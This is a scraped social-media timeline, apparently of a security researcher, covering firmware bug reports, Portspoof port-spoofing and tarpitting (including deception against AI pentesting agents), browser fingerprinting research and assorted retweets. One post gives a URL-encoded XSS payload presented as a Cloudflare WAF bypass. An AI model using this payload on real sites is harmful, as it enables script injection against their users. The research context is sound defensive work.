Found 4 bugs in Coldcard Q firmware (seed, multisig, USB, QR paths) while looking at the dice-roll seed generation. Reported to @Coinkite, fixed in 5.6.1 / 1.5.1Q. Writeup: sharpsec.io/blog/coldcard-fi…
Active deception against AI pentesting agents: context saturation, tarpitting benchmarks, and cited research
portspoof.io/blog/ai-agent-c…
Portspoof v2.0 — full rewrite of the connection engine. Epoll tarpit with mixed delivery modes and per-connection timing jitter.
A 5-second nmap scan becomes 10+ hours — and the result is still a haystack.
github.com/drk1wi/Portspoof/…
Piotr Duszyński retweeted
Paged Out! #6 is out!
pagedout.institute/
Totally free, 80 pages, best issue so far!
'nuff said, enjoy!
(please RT to help spread out the news!)
Piotr Duszyński retweeted
We will start with learning about PortSpoof tool and active defense technique, where you initiate a counter attack targeting the attackers.
hakin9.org/product/how-to-op…
#infosec #cybersecurity #pentest #pentesting #hacking #hackers #windows
Piotr Duszyński retweeted
The xz fiasco has shown how a dependence on unpaid volunteers can cause major problems. Trillion dollar corporations expect free and urgent support from volunteers.
@Microsoft @MicrosoftTeams posted on a bug tracker full of volunteers that their issue is "high priority"
Piotr Duszyński retweeted
Congratulations to the entire SpaceX team on today's successful Starship flight test! → spacex.com/launches/mission/…
Piotr Duszyński retweeted
Masz samochód starszy niż 15 lat? Nie wolno go będzie naprawiać? Dalej popieraj UE. Nie mogę uwierzyć, że ludzie ciągle chcą głosować na PO, Lewicę, Hołownię. To oni wspierają to szaleństwo Brukseli!
eska.pl/krakow/starszych-sam…
Piotr Duszyński retweeted
Devin, the AI software engineer leaks API keys in source code it writes in the first 5 seconds of its demo.
Today we're excited to introduce Devin, the first AI software engineer.
Devin is the new state-of-the-art on the SWE-Bench coding benchmark, has successfully passed practical engineering interviews from leading AI companies, and has even completed real jobs on Upwork.
Devin is an autonomous agent that solves engineering tasks through the use of its own shell, code editor, and web browser.
When evaluated on the SWE-Bench benchmark, which asks an AI to resolve GitHub issues found in real-world open-source projects, Devin correctly resolves 13.86% of the issues unassisted, far exceeding the previous state-of-the-art model performance of 1.96% unassisted and 4.80% assisted.
Check out what Devin can do in the thread below.
Piotr Duszyński retweeted
What if you ran an nmap scan and ALL 65535 ports were open? You can waste a hacker's time by spoofing your attack surface and simulating real services so the adversary has no idea what to target. Cyber deception! youtu.be/7ak6-hCnw0I
Piotr Duszyński retweeted
A 14-line Python script using gzip outperforming a 345m parameter transformer model is probably the most hilarious result I've seen all year.
aclanthology.org/2023.findin…
working XSS cloudflare bypass: %3cimg%20src=x%20onerror=alert%26%23%780000000000060ZZZ%26%23%780000000000060%3e
This took TOR a while to fix; still .. if anyone is interested there was a way to fingerprint users via XHR Preflight Cache poisoning between separate 'User Identities' in TOR Browser: evercookie.0x41.link/
While doing a small research around browsers' privacy I found a little bug that allows effective user fingerprinting after full 'Browser Cache Clearing'.
All major browsers are affected, including Tor Browser.
I will post some details after they apply a fix.
Piotr Duszyński retweeted
github.com/Homebrew/homebrew…
Now, breakfast. Then we look at GnuPG code.
It's a fun friday...























